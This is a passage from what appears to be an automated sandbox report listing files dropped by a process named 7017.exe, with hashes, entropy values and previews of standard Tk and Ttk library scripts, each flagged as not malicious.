SHA-512:	5B1A8CA5B09B7281DE55460D21D5195C4EE086BEBDC35FA561001181490669FFC67D261F99EAA900467FE97E980EB733C5FFBF9D8C541EDE18992BF4A435C749
Malicious:	false
Preview:	if {[catch {package present Tcl 8.6.0}]} { return }.if {($::tcl_platform(platform) eq "unix") && ([info exists ::env(DISPLAY)]..\|\| ([info exists ::argv] && ("-display" in $::argv)))} {. package ifneeded Tk 8.6.9 [list load [file join $dir .. .. bin libtk8.6.dll] Tk].} else {. package ifneeded Tk 8.6.9 [list load [file join $dir .. .. bin tk86t.dll] Tk].}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\safetk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	7381
Entropy (8bit):	4.833263771361282
Encrypted:	false
SSDEEP:	192:keEoaa0QfsimXZrjpgj47e5QeO9uMfUKvLAN6Zo:keEoRHsiWddgkoiUeG
MD5:	EFC567E407C48BF2BE4E09CB18DEFC11
SHA1:	EDEDB6776963B7D629C6ACE9440D24EB78DEA878
SHA-256:	9708F5A1E81E1C3FEAF189020105BE28D27AA8808FF9FB2DCCA040500CF2642A
SHA-512:	BDA5F92BD2F7B9CD29C5A732EC77A71291778A0EC3EABE81575C55DE3E207F663BA28DA4C95174045A74EFFF71B95D907C9D056BAA9E585E6F6DC14A133760BC
Malicious:	false
Preview:	# safetk.tcl --.#.# Support procs to use Tk in safe interpreters..#.# Copyright (c) 1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...# see safetk.n for documentation..#.#.# Note: It is now ok to let untrusted code being executed.# between the creation of the interp and the actual loading.# of Tk in that interp because the C side Tk_Init will.# now look up the master interp and ask its safe::TkInit.# for the actual parameters to use for it's initialization (if allowed),.# not relying on the slave state..#..# We use opt (optional arguments parsing).package require opt 0.4.1;..namespace eval ::safe {.. # counter for safe toplevels. variable tkSafeId 0.}..#.# tkInterpInit : prepare the slave interpreter for tk loading.# most of the real job is done by loadTk.# returns the slave name (tkInterpInit does).#.proc ::safe::tkInterpIni

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\scale.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7766
Entropy (8bit):	4.933555104215445
Encrypted:	false
SSDEEP:	192:q1xTLI9LUAp8cZIQ+Umuy9vYE2dLTaQfiwHZeABypyTtB:HUN1Umn2dKuHIpCB
MD5:	1CE32CDAEB04C75BFCEEA5FB94B8A9F0
SHA1:	CC7614C9EADE999963EE78B422157B7B0739894C
SHA-256:	58C662DD3D2C653786B05AA2C88831F4E971B9105E4869D866FB6186E83ED365
SHA-512:	1EE5A187615AE32F17936931B30FEA9551F9E3022C1F45A2BCA81624404F4E68022FCF0B03FBD61820EC6958983A8F2FBFC3AD2EC158433F8E8DE9B8FCF48476
Malicious:	false
Preview:	# scale.tcl --.#.# This file defines the default bindings for Tk scale widgets and provides.# procedures that help in implementing the bindings..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1995 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# The code below creates the default class bindings for entries..#-------------------------------------------------------------------------..# Standard Motif bindings:..bind Scale <Enter> {. if {$tk_strictMotif} {..set tk::Priv(activeBg) [%W cget -activebackground]..%W configure -activebackground [%W cget -background]. }. tk::ScaleActivate %W %x %y.}.bind Scale <Motion> {. tk::ScaleActivate %W %x %y.}.bind Scale <Leave> {. if {$tk_strictMotif} {..%W configure -activebackground $tk::Priv(activeBg). }.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\scrlbar.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12748
Entropy (8bit):	5.026700023745507
Encrypted:	false
SSDEEP:	192:AfVS+eV9fKbBevrpQQtfJMZqSwiXEfY4yhIa7yLIVNpIgdWmD3T1gFpN:Pf4wTGOfmkSwORVqaGcV4q7kpN
MD5:	4CBFFC4E6B3F56A5890E3F7C31C6C378
SHA1:	75DB5205B311F55D1CA1D863B8688A628BF6012A
SHA-256:	6BA3E2D62BD4856D7D7AE87709FCAA23D81EFC38C375C6C5D91639555A84C35D
SHA-512:	65DF7AE09E06C200A8456748DC89095BB8417253E01EC4FDAFB28A84483147DDC77AAF6B49BE9E18A326A94972086A99044BEE3CE5CF8026337DFC6972C92C04
Malicious:	false
Preview:	# scrlbar.tcl --.#.# This file defines the default bindings for Tk scrollbar widgets..# It also provides procedures that help in implementing the bindings..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# The code below creates the default class bindings for scrollbars..#-------------------------------------------------------------------------..# Standard Motif bindings:.if {[tk windowingsystem] eq "x11" \|\| [tk windowingsystem] eq "aqua"} {..bind Scrollbar <Enter> {. if {$tk_strictMotif} {..set tk::Priv(activeBg) [%W cget -activebackground]..%W configure -activebackground [%W cget -background]. }. %W activate [%W identify %x %y].}.bind Scrollbar <Motion> {. %W activate [%W identify %x %y].}..# The

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\spinbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15640
Entropy (8bit):	5.001694129885997
Encrypted:	false
SSDEEP:	192:aR1yvxxVRQRrclOniQ14Yvg5bbVFMio1UF9w9P75uaMY+c6RhO1ON6Ql4qRiZ0NO:MyF5XVF61iwZ75/YRhO464z8wdEt
MD5:	9971530F110AC2FB7D7EC91789EA2364
SHA1:	AB553213C092EF077524ED56FC37DA29404C79A7
SHA-256:	5D6E939B44F630A29C4FCB1E2503690C453118607FF301BEF3C07FA980D5075A
SHA-512:	81B4CEC39B03FBECA59781AA54960F0A10A09733634F401D5553E1AAA3EBF12A110C9D555946FCDD70A9CC897514663840745241AD741DC440BB081A12DCF411
Malicious:	false
Preview:	# spinbox.tcl --.#.# This file defines the default bindings for Tk spinbox widgets and provides.# procedures that help in implementing those bindings. The spinbox builds.# off the entry widget, so it can reuse Entry bindings and procedures..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 1999-2000 Jeffrey Hobbs.# Copyright (c) 2000 Ajuba Solutions.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of tk::Priv that are used in this file:.#.# afterId -..If non-null, it means that auto-scanning is underway.#...and it gives the "after" id for the next auto-scan.#...command to be executed..# mouseMoved -..Non-zero means the mouse has moved a significant.#...amount since the button went down (so, for example,.#...start dragging out a

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\tclIndex

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20270
Entropy (8bit):	4.749624735829406
Encrypted:	false
SSDEEP:	384:edtm3fv2ZzffGIgowSDxD7n2s7AcBnaUuFyLWFot5gzSG3k96vNTWuoJnfOvWhbk:eds3fv2ZzffGIgowSDxD7nd7AcBnahFN
MD5:	4AD192C43972A6A4834D1D5A7C511750
SHA1:	09CA39647AA1C14DB16014055E48A9B0237639BA
SHA-256:	8E8ECECFD6046FE413F37A91933EEA086E31959B3FBEB127AFDD05CD9141BE9A
SHA-512:	287FAADBC6F65FCC3EA9C1EC10B190712BB36A06D28E59F8D268EA585B4E6B13494BA111DFF6AC2EBF998578999C9C36965C714510FC21A9ACB65FF9B75097CB
Malicious:	false
Preview:	# Tcl autoload index file, version 2.0.# This file is generated by the "auto_mkindex" command.# and sourced to set up indexing information for one or.# more commands. Typically each line is a command that.# sets an element in the auto_index array, where the.# element name is the name of a command and the value is.# a script that loads the command...set auto_index(::tk::dialog::error::Return) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::Details) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::SaveToLog) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::Destroy) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::bgerror) [list source [file join $dir bgerror.tcl]].set auto_index(bgerror) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::ButtonInvoke) [list source [file join $dir button.tcl]].set auto_index(::tk::ButtonAutoInvoke) [list source [file join

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\tearoff.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5142
Entropy (8bit):	4.672280480827932
Encrypted:	false
SSDEEP:	96:MgPXEnPQcTtD7zxeHK7ijhgdhAhbbjymL/KK2pLQY4QYNHL43EwzS6ejW:MgPUnPtTtFeqmjhgdhIbbjymL/KKeLQW
MD5:	214FA0731A27E33826F2303750B64784
SHA1:	C2DA41761FB7BAE38DDDEFA22AB57B337F54F5D8
SHA-256:	FB6B35ECB1438BB8A2D816B86FB0C55500C6EA8D24AECB359CC3C7D3B3C54DE0
SHA-512:	2E2A2412CBB090C0728333480B0E07C85087ED932974A235D5BC8C9725DE937520205D988872E1B5BEFA1E80201E046C500BC875A5CBD584A5099930EBBD115A
Malicious:	false
Preview:	# tearoff.tcl --.#.# This file contains procedures that implement tear-off menus..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk::TearoffMenu --.# Given the name of a menu, this procedure creates a torn-off menu.# that is identical to the given menu (including nested submenus)..# The new torn-off menu exists as a toplevel window managed by the.# window manager. The return value is the name of the new menu..# The window is created at the point specified by x and y.#.# Arguments:.# w -...The menu to be torn-off (duplicated)..# x -...x coordinate where window is created.# y -...y coordinate where window is created..proc ::tk::TearOffMenu {w {x 0} {y 0}} {. # Find a unique name to use for the torn-off menu. Find the first. # ancestor of w that is a toplevel but not a menu,

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\text.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	33155
Entropy (8bit):	4.908284262811967
Encrypted:	false
SSDEEP:	384:ThZXGSuWlNGbyBFFRzGagUNKEFx8wredkG/gVVFaO/9bembFWaHnla98ffRiqiPp:TYaNGKF6uNdyO4Ona98ffRUAlde
MD5:	03CC27E28E0CFCE1B003C3E936797AB0
SHA1:	C7FE5AE7F35C86EC3724F6A111EAAF2C1A18ABE9
SHA-256:	BCCC1039F0EB331C4BB6BD5848051BB745F242016952723478C93B009F63D254
SHA-512:	5091B10EE8446E6853EF7060EC13AB8CADA0D6448F9081FEBD07546C061F69FC273BBF23BA7AF05D8359E618DD68A5C27F0453480FE3F26E744DB19BFCD115C7
Malicious:	false
Preview:	# text.tcl --.#.# This file defines the default bindings for Tk text widgets and provides.# procedures that help in implementing the bindings..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 1998 by Scriptics Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of ::tk::Priv that are used in this file:.#.# afterId -..If non-null, it means that auto-scanning is underway.#...and it gives the "after" id for the next auto-scan.#...command to be executed..# char -..Character position on the line; kept in order.#...to allow moving up or down past short lines while.#...still remembering the desired position..# mouseMoved -..Non-zero means the mouse has moved a significant.#...amount since the button went down (so, for exampl

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\tk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	23142
Entropy (8bit):	5.097142507145225
Encrypted:	false
SSDEEP:	384:dmAlIQ7ylH462gngqeObubqLwvoGah0QSA4jLGn3WB0MCdPAWD+g190K5TzMSW4d:dmOIQulHokh0QzMemB0MCD+g1bk+
MD5:	3250EC5B2EFE5BBE4D3EC271F94E5359
SHA1:	6A0FE910041C8DF4F3CDC19871813792E8CC4E4C
SHA-256:	E1067A0668DEBB2D8E8EC3B7BC1AEC3723627649832B20333F9369F28E4DFDBF
SHA-512:	F8E403F3D59D44333BCE2AA7917E6D8115BEC0FE5AE9A1306F215018B05056467643B7AA228154DDCED176072BC903DFB556CB2638F5C55C1285C376079E8FE3
Malicious:	false
Preview:	# tk.tcl --.#.# Initialization script normally executed in the interpreter for each Tk-based.# application. Arranges class bindings for widgets..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..# Copyright (c) 1998-2000 Ajuba Solutions..#.# See the file "license.terms" for information on usage and redistribution of.# this file, and for a DISCLAIMER OF ALL WARRANTIES...# Verify that we have Tk binary and script components from the same release.package require -exact Tk 8.6.9...# Create a ::tk namespace.namespace eval ::tk {. # Set up the msgcat commands. namespace eval msgcat {..namespace export mc mcmax. if {[interp issafe] \|\| [catch {package require msgcat}]} {. # The msgcat package is not available. Supply our own. # minimal replacement.. proc mc {src args} {. return [format $src {*}$args]. }. proc mcmax {args} {.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\tkfbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	38373
Entropy (8bit):	5.143151103117394
Encrypted:	false
SSDEEP:	384:a6NFLvIIaE2wCpxQYt/rJTkA3NN5YAGnk1c6gHZZgkO0Z6INfdpsaUpWz8ZlhL5S:akJ2wKFXuNzClMGH87f12Vb4
MD5:	21985684C432CB918A3E862517842F75
SHA1:	4DBACAEEF8454C1B08993D76857C5F09AA75405A
SHA-256:	AE448DF6FDBBA45D450ABEFEF12799F8362177B0B9FE06F3CA3CB0EDA5E6AA58
SHA-512:	AFEA6C47001455D7E40A5A7728FA4DFAD7BB66B02191E807BB15355847F5B265DEEE6015516807B10E1273710A3D03FAAC7856CB16EFA773813105B23A11960F
Malicious:	false
Preview:	# tkfbox.tcl --.#.#.Implements the "TK" standard file selection dialog box. This dialog.#.box is used on the Unix platforms whenever the tk_strictMotif flag is.#.not set..#.#.The "TK" standard file selection dialog box is similar to the file.#.selection dialog box on Win95(TM). The user can navigate the.#.directories by clicking on the folder icons or by selecting the.#."Directory" option menu. The user can select files by clicking on the.#.file icons or by entering a filename in the "Filename:" entry..#.# Copyright (c) 1994-1998 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..namespace eval ::tk::dialog {}.namespace eval ::tk::dialog::file {. namespace import -force ::tk::msgcat::*. variable showHiddenBtn 0. variable showHiddenVar 1.. # Create the images if they did not already exist.. if {![info exists ::tk::Priv(updirImage)]} {..set ::tk::Priv(updirImage)

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\altTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	4.872530668776095
Encrypted:	false
SSDEEP:	48:xICsIX5RupDdMrwuQb8BQEQWQEQK9FVGQJFVGDusxzUFIG0usf2kGKQH+n5dvW8m:h7oFAzfphta9DwuTa
MD5:	8FF9D357AF3806D997BB8654E95F530C
SHA1:	62292163299CC229031BB4EAFBE900323056561A
SHA-256:	E36864B33D7C2B47FE26646377BE86FB341BBF2B6DF13E33BD799E87D24FC193
SHA-512:	ECDC47E7D1F0F9C0C052ACA2EB2DE10E78B2256E8DB85D7B52F365C1074A4E24CDB1C7A2780B36DFA36F174FF87B6A31C49F61CC0AC3D2412B3915234D911C9C
Malicious:	false
Preview:	#.# Ttk widget set: Alternate theme.#..namespace eval ttk::theme::alt {.. variable colors. array set colors {..-frame .."#d9d9d9"..-window.."#ffffff"..-darker ."#c3c3c3"..-border.."#414141"..-activebg ."#ececec"..-disabledfg."#a3a3a3"..-selectbg."#4a6984"..-selectfg."#ffffff"..-altindicator."#aaaaaa". }.. ttk::style theme settings alt {...ttk::style configure "." \.. -background .$colors(-frame) \.. -foreground .black \.. -troughcolor.$colors(-darker) \.. -bordercolor.$colors(-border) \.. -selectbackground .$colors(-selectbg) \.. -selectforeground .$colors(-selectfg) \.. -font ..TkDefaultFont \.. ;...ttk::style map "." -background \.. [list disabled $colors(-frame) active $colors(-activebg)] ;..ttk::style map "." -foreground [list disabled $colors(-disabledfg)] ;. ttk::style map "." -embossed [list disabled 1] ;...ttk::style configure TButton \.. -anchor center -width -11 -padding "1 1" \.. -relief raised -shiftrelief 1 \.. -highl

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\aquaTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2245
Entropy (8bit):	4.988082031411997
Encrypted:	false
SSDEEP:	48:tdlBlblITKleKgNX1gPc+JFzVPb9ZLJY2ZL7X0jX4:p51gRK7F9DzrMo
MD5:	6466DBA5F7DDB28F280A24E2397DD875
SHA1:	060C504D08B014EB388EFAF48E3720CE5D7F0132
SHA-256:	CBC17D1C434CACD0AB42CDCC4D62ED193F926447189AD258C13738D4EC154A80
SHA-512:	5FAAC1C5FC868DCE8B7A9431BEAEB8117ADDE5C752306CAD7B6FA8123758F2CF37FB1CF18CAC2934F7D07B14FAFCE01581BAD0CA952BFECFCBD9E1E26FF9A64C
Malicious:	false
Preview:	#.# Aqua theme (OSX native look and feel).#..namespace eval ttk::theme::aqua {. ttk::style theme settings aqua {...ttk::style configure . \.. -font TkDefaultFont \.. -background systemWindowBody \.. -foreground systemModelessDialogActiveText \.. -selectbackground systemHighlight \.. -selectforeground systemModelessDialogActiveText \.. -selectborderwidth 0 \.. -insertwidth 1...ttk::style map . \.. -foreground {disabled systemModelessDialogInactiveText... background systemModelessDialogInactiveText} \.. -selectbackground {background systemHighlightSecondary... !focus systemHighlightSecondary} \.. -selectforeground {background systemModelessDialogInactiveText... !focus systemDialogActiveText}...# Workaround for #1100117:..# Actually, on Aqua we probably shouldn't stipple images in..# disabled buttons even if it did work.....ttk::style configure . -stipple {}...ttk::style configure TButton -anchor center -width -6..ttk::style configure Toolbutton -

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\button.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2978
Entropy (8bit):	4.8919006418640265
Encrypted:	false
SSDEEP:	48:hpNRZ/rtWkRMC0ScGHsAEfKPi7K1MFNQ6z4Dvh8niT6CUI+SfRHThp:DNRZzse1cGH3UvKmFNQ6z2hT6CUI+4Hb
MD5:	EA7CF40852AFD55FFDA9DB29A0E11322
SHA1:	B7B42FAC93E250B54EB76D95048AC3132B10E6D8
SHA-256:	391B6E333D16497C4B538A7BDB5B16EF11359B6E3B508D470C6E3703488E3B4D
SHA-512:	123D78D6AC34AF4833D05814220757DCCF2A9AF4761FE67A8FE5F67A0D258B3C8D86ED346176FFB936AB3717CFD75B4FAB7373F7853D44FA356BE6E3A75E51B9
Malicious:	false
Preview:	#.# Bindings for Buttons, Checkbuttons, and Radiobuttons..#.# Notes: <Button1-Leave>, <Button1-Enter> only control the "pressed".# state; widgets remain "active" if the pointer is dragged out..# This doesn't seem to be conventional, but it's a nice way.# to provide extra feedback while the grab is active..# (If the button is released off the widget, the grab deactivates and.# we get a <Leave> event then, which turns off the "active" state).#.# Normally, <ButtonRelease> and <ButtonN-Enter/Leave> events are .# delivered to the widget which received the initial <ButtonPress>.# event. However, Tk [grab]s (#1223103) and menu interactions.# (#1222605) can interfere with this. To guard against spurious.# <Button1-Enter> events, the <Button1-Enter> binding only sets.# the pressed state if the button is currently active..#..namespace eval ttk::button {}..bind TButton <Enter> ..{ %W instate !disabled {%W state active} }.bind TButton <Leave>..{ %W state !active }.bind TButton <Key-space>.{ ttk:

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\clamTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4742
Entropy (8bit):	4.859511673200619
Encrypted:	false
SSDEEP:	48:9zDTlU3tCKW3PiAu4UZQsk+EBSucCtCqM368CtTU/+xgxaYgxaf/sY2+rF5usxzk:ZuHjO7uCkqM3JCNU/igxNgxor2tpuTM
MD5:	AA2987DC061DAA998B73A1AD937EE4BB
SHA1:	33FE9DFA76FB08B9D8D5C3554D13482D330C2DB1
SHA-256:	4ED0ACDD29FC1FB45C6BDC9EFB2CBADE34B93C45D5DBB269A4A4A3044CF4CB7A
SHA-512:	5A83B1FC88E42BB1DAD60D89CD5F2193E6AB59C4902A6C727E0090D1F395C2F122521FDFF250A14109EE5113D5034319199FB260129416EA962559350F217A03
Malicious:	false
Preview:	#.# "Clam" theme..#.# Inspired by the XFCE family of Gnome themes..#..namespace eval ttk::theme::clam {. variable colors . array set colors {..-disabledfg.."#999999"..-frame .."#dcdad5"..-window .."#ffffff"..-dark..."#cfcdc8"..-darker .."#bab5ab"..-darkest.."#9e9a91"..-lighter.."#eeebe7"..-lightest .."#ffffff"..-selectbg.."#4a6984"..-selectfg.."#ffffff"..-altindicator.."#5895bc"..-disabledaltindicator."#a0a0a0". }.. ttk::style theme settings clam {...ttk::style configure "." \.. -background $colors(-frame) \.. -foreground black \.. -bordercolor $colors(-darkest) \.. -darkcolor $colors(-dark) \.. -lightcolor $colors(-lighter) \.. -troughcolor $colors(-darker) \.. -selectbackground $colors(-selectbg) \.. -selectforeground $colors(-selectfg) \.. -selectborderwidth 0 \.. -font TkDefaultFont \.. ;...ttk::style map "." \.. -background [list disabled $colors(-frame) \.... active $colors(-lighter)] \.. -foreground [list disabled $colors(

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\classicTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3828
Entropy (8bit):	4.892728136244756
Encrypted:	false
SSDEEP:	48:yAJZjsTMw96Ey6kvzuVuby+x0M+x06uxjFVGQJFVGQuxzUFIGQutK2MRvD7J+iSz:yAJZ8MVJiVR+x/+xefVItuTy7Urt
MD5:	7DBF35F3F0F9FB68626019FF94EFBCD3
SHA1:	213F18224BF0573744836CD3BEDC83D5E443A406
SHA-256:	30E6766E9B8292793395324E412B0F5A8888512B84B080E247F95BF6EFB11A9D
SHA-512:	9081E5C89ECDE8337C5A52531DEF24924C0BCB3A1F0596D3B986CC59E635F67A78327ABF26209BF71A9BA370A93174298E6ABD11586382D7D70ADEA7E5CCF854
Malicious:	false
Preview:	#.# "classic" Tk theme..#.# Implements Tk's traditional Motif-like look and feel..#..namespace eval ttk::theme::classic {.. variable colors; array set colors {..-frame.."#d9d9d9"..-window.."#ffffff"..-activebg."#ececec"..-troughbg."#c3c3c3"..-selectbg."#c3c3c3"..-selectfg."#000000"..-disabledfg."#a3a3a3"..-indicator."#b03060"..-altindicator."#b05e5e". }.. ttk::style theme settings classic {..ttk::style configure "." \.. -font..TkDefaultFont \.. -background..$colors(-frame) \.. -foreground..black \.. -selectbackground.$colors(-selectbg) \.. -selectforeground.$colors(-selectfg) \.. -troughcolor.$colors(-troughbg) \.. -indicatorcolor.$colors(-frame) \.. -highlightcolor.$colors(-frame) \.. -highlightthickness.1 \.. -selectborderwidth.1 \.. -insertwidth.2 \.. ;...# To match pre-Xft X11 appearance, use:..#.ttk::style configure . -font {Helvetica 12 bold}...ttk::style map "." -background \.. [list disabled $colors(-frame) active $colors(-activeb

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\combobox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12493
Entropy (8bit):	5.024195855137721
Encrypted:	false
SSDEEP:	192:l/9k9hqpFXQN9uK5Bt3NvnIW+KYNbrulkL90t98VrQETczIT9QeSaQjJI1/P0lcx:BhllSBtVL5MmI0K
MD5:	FBCAA6A08D9830114248F91E10D4C918
SHA1:	FA63C94824BEBD3531086816650D3F3FA73FE434
SHA-256:	9D80AA9701E82862467684D3DFF1A9EC5BBC2BBBA4F4F070518BBDE7E38499BB
SHA-512:	B377C31CC9137851679CBA0560EFE4265792D1576BD781DD42C22014A7A8F3D10D9D48A1154BB88A2987197594C8B728B71FA689CE1B32928F8513796A6A0AA3
Malicious:	false
Preview:	#.# Combobox bindings..#.# <<NOTE-WM-TRANSIENT>>:.#.#.Need to set [wm transient] just before mapping the popdown.#.instead of when it's created, in case a containing frame.#.has been reparented [#1818441]..#.#.On Windows: setting [wm transient] prevents the parent.#.toplevel from becoming inactive when the popdown is posted.#.(Tk 8.4.8+).#.#.On X11: WM_TRANSIENT_FOR on override-redirect windows.#.may be used by compositing managers and by EWMH-aware.#.window managers (even though the older ICCCM spec says.#.it's meaningless)..#.#.On OSX: [wm transient] does utterly the wrong thing..#.Instead, we use [MacWindowStyle "help" "noActivates hideOnSuspend"]..#.The "noActivates" attribute prevents the parent toplevel.#.from deactivating when the popdown is posted, and is also.#.necessary for "help" windows to receive mouse events..#."hideOnSuspend" makes the popdown disappear (resp. reappear).#.when the parent toplevel is deactivated (resp. reactivated)..#.(see [#1814778]). Also set [wm resiz

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\cursors.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4007
Entropy (8bit):	4.827479665184231
Encrypted:	false
SSDEEP:	48:xtIni2E1nmuVoLlTxG6qVXvDiPOaCkhxKLbqnJ2RLWumgMJVZlZPDjsfMh8vIviX:sn+myoLBxG3laOqJlZT3rkdSVOJm0
MD5:	74596004DFDBF2ECF6AF9C851156415D
SHA1:	933318C992B705BF9F8511621B4458ECB8772788
SHA-256:	7BDFFA1C2692C5D1CF67B518F9ACB32FA4B4D9936ED076F4DB835943BC1A00D6
SHA-512:	0D600B21DB67BF9DADBDD49559573078EFB41E473E94124AC4D2551BC10EC764846DC1F7674DAA79F8D2A8AEB4CA27A5E11C2F30EDE47E3ECEE77D60D7842262
Malicious:	false
Preview:	#.# Map symbolic cursor names to platform-appropriate cursors..#.# The following cursors are defined:.#.#.standard.-- default cursor for most controls.#.""..-- inherit cursor from parent window.#.none..-- no cursor.#.#.text..-- editable widgets (entry, text).#.link..-- hyperlinks within text.#.crosshair.-- graphic selection, fine control.#.busy..-- operation in progress.#.forbidden.-- action not allowed.#.#.hresize..-- horizontal resizing.#.vresize..-- vertical resizing.#.# Also resize cursors for each of the compass points,.# {nw,n,ne,w,e,sw,s,se}resize..#.# Platform notes:.#.# Windows doesn't distinguish resizing at the 8 compass points,.# only horizontal, vertical, and the two diagonals..#.# OSX doesn't have resize cursors for nw, ne, sw, or se corners..# We use the Tk-defined X11 fallbacks for these..#.# X11 doesn't have a "forbidden" cursor (usually a slashed circle);.# "pirate" seems to be the conventional cursor for this purpose..#.# Windows has an IDC_HELP cursor, but it's not

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\defaults.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4490
Entropy (8bit):	4.888203318286333
Encrypted:	false
SSDEEP:	96:AMUoi/higxS4JAigxS4J/1+tDtj/9uTaf30QOdt:AMUoQhigQ42igQ4kFMY3n0t
MD5:	0E03292F7678540CB4F3440859863B0C
SHA1:	909849894B02F2C213BDE0FBCED8C1378EB9B81E
SHA-256:	304FF31FC82F6086C93AAA594D83D8DA25866CE1C2AF1208F9E7585D74CA9A51
SHA-512:	87E5D2484E5E7E3C00B319219028B012576B7D73B84A9A13ED15551C9431BF216C0B96376AE5A7070B5A391D9887E55ABF9FA4AFEE971177408B7969363D9302
Malicious:	false
Preview:	#.# Settings for default theme..#..namespace eval ttk::theme::default {. variable colors. array set colors {..-frame..."#d9d9d9"..-foreground.."#000000"..-window..."#ffffff"..-text .."#000000"..-activebg.."#ececec"..-selectbg.."#4a6984"..-selectfg.."#ffffff"..-darker .."#c3c3c3"..-disabledfg.."#a3a3a3"..-indicator.."#4a6984"..-disabledindicator."#a3a3a3"..-altindicator.."#9fbdd8"..-disabledaltindicator."#c0c0c0". }.. ttk::style theme settings default {...ttk::style configure "." \.. -borderwidth .1 \.. -background .$colors(-frame) \.. -foreground .$colors(-foreground) \.. -troughcolor .$colors(-darker) \.. -font ..TkDefaultFont \.. -selectborderwidth.1 \.. -selectbackground.$colors(-selectbg) \.. -selectforeground.$colors(-selectfg) \.. -insertwidth .1 \.. -indicatordiameter.10 \.. ;...ttk::style map "." -background \.. [list disabled $colors(-frame) active $colors(-activebg)]..ttk::style map "." -foreground \.. [list disabled $colo

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\entry.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16408
Entropy (8bit):	4.974125903666712
Encrypted:	false
SSDEEP:	192:hRy3ALQksU0oayTUXIQzNiQ2iEL8QmOhQVqknFoTOXyJtcC1JMuZm4FZxO252ExD:GoUXmiEyOFWiTOEtcC1q252Ezp
MD5:	F9B29AB14304F18E32821A29233BE816
